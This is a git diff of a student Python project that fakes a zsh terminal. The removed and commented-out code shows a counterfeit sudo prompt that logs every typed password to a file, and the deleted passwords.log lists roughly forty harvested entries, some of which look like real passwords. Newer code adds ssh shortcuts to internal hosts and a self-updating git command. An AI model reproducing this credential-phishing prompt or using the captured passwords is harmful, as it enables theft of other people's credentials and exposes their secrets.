Compare commits

...

26 Commits

3 changed files with 143 additions and 88 deletions

View File

@@ -13,4 +13,7 @@
### 好好好其实说白了就是把zsh覆盖main改了几行就成合并了是吧 ### 好好好其实说白了就是把zsh覆盖main改了几行就成合并了是吧
# 不然呢? # 不然呢?
# 不是怎么还耍无赖了那? # 不是怎么还耍无赖了那?
? **我合并个代码怎么你了?**
### 嘻嘻
###### 嘿嘿嘿
`嘿嘿嘿`

186
main.py
View File

@@ -1,14 +1,34 @@
import os, readline, time, getpass, sys, re, shlex, subprocess, random import os, readline, time, getpass, sys, re, shlex, subprocess, random, socket
from datetime import datetime from datetime import datetime
import platform
import psutil # 新增模块
def get_simple_system_info():
system = platform.system()
release = platform.release()
return f"{system} {release}"
# 自动补全功能,基于系统命令和当前目录的文件 # 自动补全功能,基于系统命令和当前目录的文件
def completer(text, state): def completer(text, state):
# 获取系统命令 # 如果输入包含路径分隔符,则补全路径
commands = os.listdir('/bin') + os.listdir('/usr/bin') + os.listdir('/usr/local/bin') if '/' in text:
# 获取当前目录的文件和文件夹 dir_path, partial_file = os.path.split(text)
local_files = os.listdir(os.getcwd()) if not dir_path: # 如果路径为空,使用当前目录
# 合并系统命令和当前目录的文件 dir_path = '.'
matches = [cmd for cmd in commands + local_files if cmd.startswith(text)] try:
# 获取指定路径下的文件和文件夹
entries = os.listdir(dir_path)
matches = [os.path.join(dir_path, entry) for entry in entries if entry.startswith(partial_file)]
except FileNotFoundError:
matches = []
else:
# 获取系统命令
commands = os.listdir('/bin') + os.listdir('/usr/bin') + os.listdir('/usr/local/bin')
# 获取当前目录的文件和文件夹
local_files = os.listdir(os.getcwd())
# 合并系统命令和当前目录的文件
matches = [cmd for cmd in commands + local_files if cmd.startswith(text)]
return matches[state] if state < len(matches) else None return matches[state] if state < len(matches) else None
# # 获取真正的 Last login 信息 # # 获取真正的 Last login 信息
@@ -27,76 +47,148 @@ def pseudo_zsh():
readline.parse_and_bind("tab: complete") readline.parse_and_bind("tab: complete")
readline.set_completer(completer) readline.set_completer(completer)
os.system("clear") # 清屏 os.system("clear") # 清屏
subprocess.run("cd /", shell=True) # 切换到用户目录
print(f"Last login: {datetime.now().strftime('%a %b %d %H:%M:%S %Y')} on ttys000") # 显示系统信息
system_name = 'macOS Sonoma 14.6'
system_version = platform.version()
architecture = platform.architecture()[0]
hostname = platform.node()
username = os.getlogin()
# 获取内存信息
memory = psutil.virtual_memory()
total_memory = round(memory.total / (1024 ** 3), 2) # 转换为 GB
used_memory = round(memory.used / (1024 ** 3), 2)
memory_usage = memory.percent
# 获取 CPU 使用率
cpu_usage = psutil.cpu_percent(interval=1)
# 获取存储信息
disk = psutil.disk_usage('/')
total_disk = round(disk.total / (1024 ** 3), 2) # 转换为 GB
used_disk = round(disk.used / (1024 ** 3), 2)
disk_usage = disk.percent
print(f"系统: {system_name}")
print(f"主机名: {hostname}")
print(f"用户: {username}")
print(f"内存: {used_memory}GB / {total_memory}GB ({memory_usage}%)")
print(f"CPU 使用率: {cpu_usage}%")
print(f"存储: {used_disk}GB / {total_disk}GB ({disk_usage}%)")
print("-" * 40)
subprocess.run(f"cd /Users/{username}/", shell=True) # 切换到用户目录
while True: while True:
try: try:
dir = os.getcwd() dir = os.getcwd()
if dir == '/': if dir == '/':
CmdDir = '/' CmdDir = '/'
elif re.match(dir, "/home/*"): # 用户目录下的任意文件夹 elif dir == f'/Users/{username}':
CmdDir = '~' CmdDir = '~'
elif re.match(dir, "*PyShell*"):
CmdDir = '~/'
else: else:
CmdDir = dir.split('/')[-1] CmdDir = dir
if dir.split('/')[-1] == 'PyShell':
if dir.split('/')[-1] == 'PyShell' : CmdDir = 'Shell/'
CmdDir = '~/'
# 显示提示符并获取用户输入 # 显示提示符并获取用户输入
cmd = input(f"20250910553@何相龙 {CmdDir} % ") cmd = input(f"{CmdDir} > ")
# 如果输入特定命令 "hxl",退出程序 # 如果输入特定命令 "exit",退出程序
if cmd.strip() == "exit": if cmd.strip() == "exit":
print("zsh: command not found: exit") # 闻讯是否退出
break confirm = input("退出PyShell (y/n): ").lower()
if confirm == 'y':
print("退出...")
exit(0)
else:
print("取消。")
continue
# 使用 shlex 分割用户输入为命令和参数 # 使用 shlex 分割用户输入为命令和参数
args = shlex.split(cmd) args = shlex.split(cmd)
if not args: # 如果输入为空,跳过本次循环 if not args: # 如果输入为空,跳过本次循环
continue continue
# 实现简单的 cd 命令
if args[0] == 'cd': if args[0] == 'cd':
try: try:
os.chdir(args[1]) # 切换到指定目录 os.chdir(args[1]) # 切换到指定目录
# 更新终端窗口标题 # 更新终端窗口标题
CmdDir = os.getcwd().split('/')[-1] CmdDir = os.getcwd().split('/')[-1]
sys.stdout.write(f"\033]0;20250910553@何相龙 {CmdDir}\007") sys.stdout.write(f"\033]0;{CmdDir}\007")
sys.stdout.flush() sys.stdout.flush()
except IndexError: except IndexError:
print("cd: missing argument") # 缺少参数 print("cd: 缺少参数") # 缺少参数
except FileNotFoundError: except FileNotFoundError:
print(f"cd: no such file or directory: {args[1]}") # 目录不存在 print(f"cd: 没有这样的文件或目录: {args[1]}") # 目录不存在
continue continue
# 伪造 sudo 密码输入并记录
if args[0] == 'sudo': if args[0] == 'l':
flight1 = True subprocess.run(['ls', '-l']) # 执行 ls 命令
a = 0
for attempt in range(3): # 循环 3 次
a += 1
fake_password = getpass.getpass("Password: ")
if fake_password == "1234":
print("20250910553 is not in the sudoers file.\nThis incident has been reported to the administrator.")
flight1 = False
break
with open("passwords.log", "a") as f:
current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S") # 获取当前时间
f.write(f"[{current_time}] {fake_password}\n") # 写入时间和密码
delay = random.uniform(0.1, 1.0) # 随机延时 0.5 到 2 秒
time.sleep(delay) # 模拟延迟
if a != 3:
print("Sorry, try again.")
if flight1:
print("sudo: 3 incorrect password attempts") # 提示错误次数
continue continue
if args[0] == 'ssh1':
subprocess.run(['ssh','root@10.147.17.161'])
continue
if args[0] == 'ud' or args[0] == 'update':
try:
print("Updating code...")
subprocess.run(['git', 'pull'])
subprocess.run(['git', 'push'])
print("Code synchronized successfully.")
print("Restarting the program...")
time.sleep(2) # 等待 2 秒
os.execv(sys.executable, ['python3'] + sys.argv) # 重新运行程序
except Exception as e:
print(f"Error during update: {e}")
if args[0] == 'ssh2':
subprocess.run(['ssh','admin@10.147.17,160'])
continue
if args[0] == 'ssh3':
subprocess.run(['ssh','root'])
continue
if args[0] == 'ping1':
subprocess.run(['ping','10.147.17.161'])
continue
if args[0] == 'python':
subprocess.run(['python3',args[1]])
continue
if args[0] == 'pip':
subprocess.run(['pip3',args[1]])
continue
if args[0] == 'py':
subprocess.run(['python3',args[1]])
continue
# if args[0] == 'sudo':
# flight1 = True
# a = 0
# for attempt in range(3): # 循环 3 次
# a += 1
# fake_password = getpass.getpass("Password: ")
# if fake_password == "1234":
# print("20250910553 is not in the sudoers file.\nThis incident has been reported to the administrator.")
# flight1 = False
# break
# with open("/Users/20250910553/Documents/code/PyShell/passwords.log", "a") as f:
# current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S") # 获取当前时间
# f.write(f"[{current_time}] {fake_password}\n") # 写入时间和密码
# delay = random.uniform(0.1, 1.0) # 随机延时 0.5 到 2 秒
# time.sleep(delay) # 模拟延迟
# if a != 3:
# print("Sorry, try again.")
# if flight1:
# print("sudo: 3 incorrect password attempts") # 提示错误次数
# continue
# 执行普通命令 # 执行普通命令
try: try:

View File

@@ -1,40 +0,0 @@
[2025-04-02 14:07:56] hahahafirstlogin
[2025-04-02 14:08:05] hahaha
[2025-04-02 14:08:21] niMalegibi
[2025-04-02 14:09:27] s
[2025-04-02 14:58:46] BRS20104890
[2025-04-02 14:59:52] adminqwerty
[2025-04-02 15:00:56] asdf
[2025-04-02 15:01:09] 123456789
[2025-04-02 15:01:55] jhjhuuj
[2025-04-02 17:59:20] 1234
[2025-04-02 17:59:42] 6344Xi6
[2025-04-02 18:31:53] 9876
[2025-04-02 18:44:21] werghservfhrdt
[2025-04-02 19:00:42] 1234
[2025-04-02 19:00:45] 4321
[2025-04-02 19:00:54] cryuio
[2025-04-03 07:13:23] CROox934
[2025-04-03 07:13:35] BRS273849506zhongxue
[2025-04-03 07:13:39] jf
[2025-04-03 09:54:28] 2
[2025-04-03 09:54:32] as
[2025-04-03 09:54:33] fd
[2025-04-03 09:59:07] hahah i know you want my password buy you are ****
[2025-04-03 09:59:25] ZHENDEJIADEYA szhend
[2025-04-03 09:59:31] hahahanicaishi**
[2025-04-03 09:59:44] bushiyouchengchnagelogleshibahhahahah
[2025-04-03 09:59:55]
[2025-04-03 09:59:56]
[2025-04-03 10:00:02] srthnf
[2025-04-03 10:00:05] vaerf
[2025-04-03 10:00:07] gafsv
[2025-04-03 11:21:36] asdfasdfasfd
[2025-04-03 11:21:45] f
[2025-04-03 11:21:46]
[2025-04-03 11:21:54] rtt
[2025-04-03 11:21:58] RTT
[2025-04-03 11:22:09] Rtt 1$
[2025-04-03 11:22:36] $%^&*%^&* %$^$%^&
[2025-04-03 11:22:44] kj
[2025-04-03 11:22:45] lk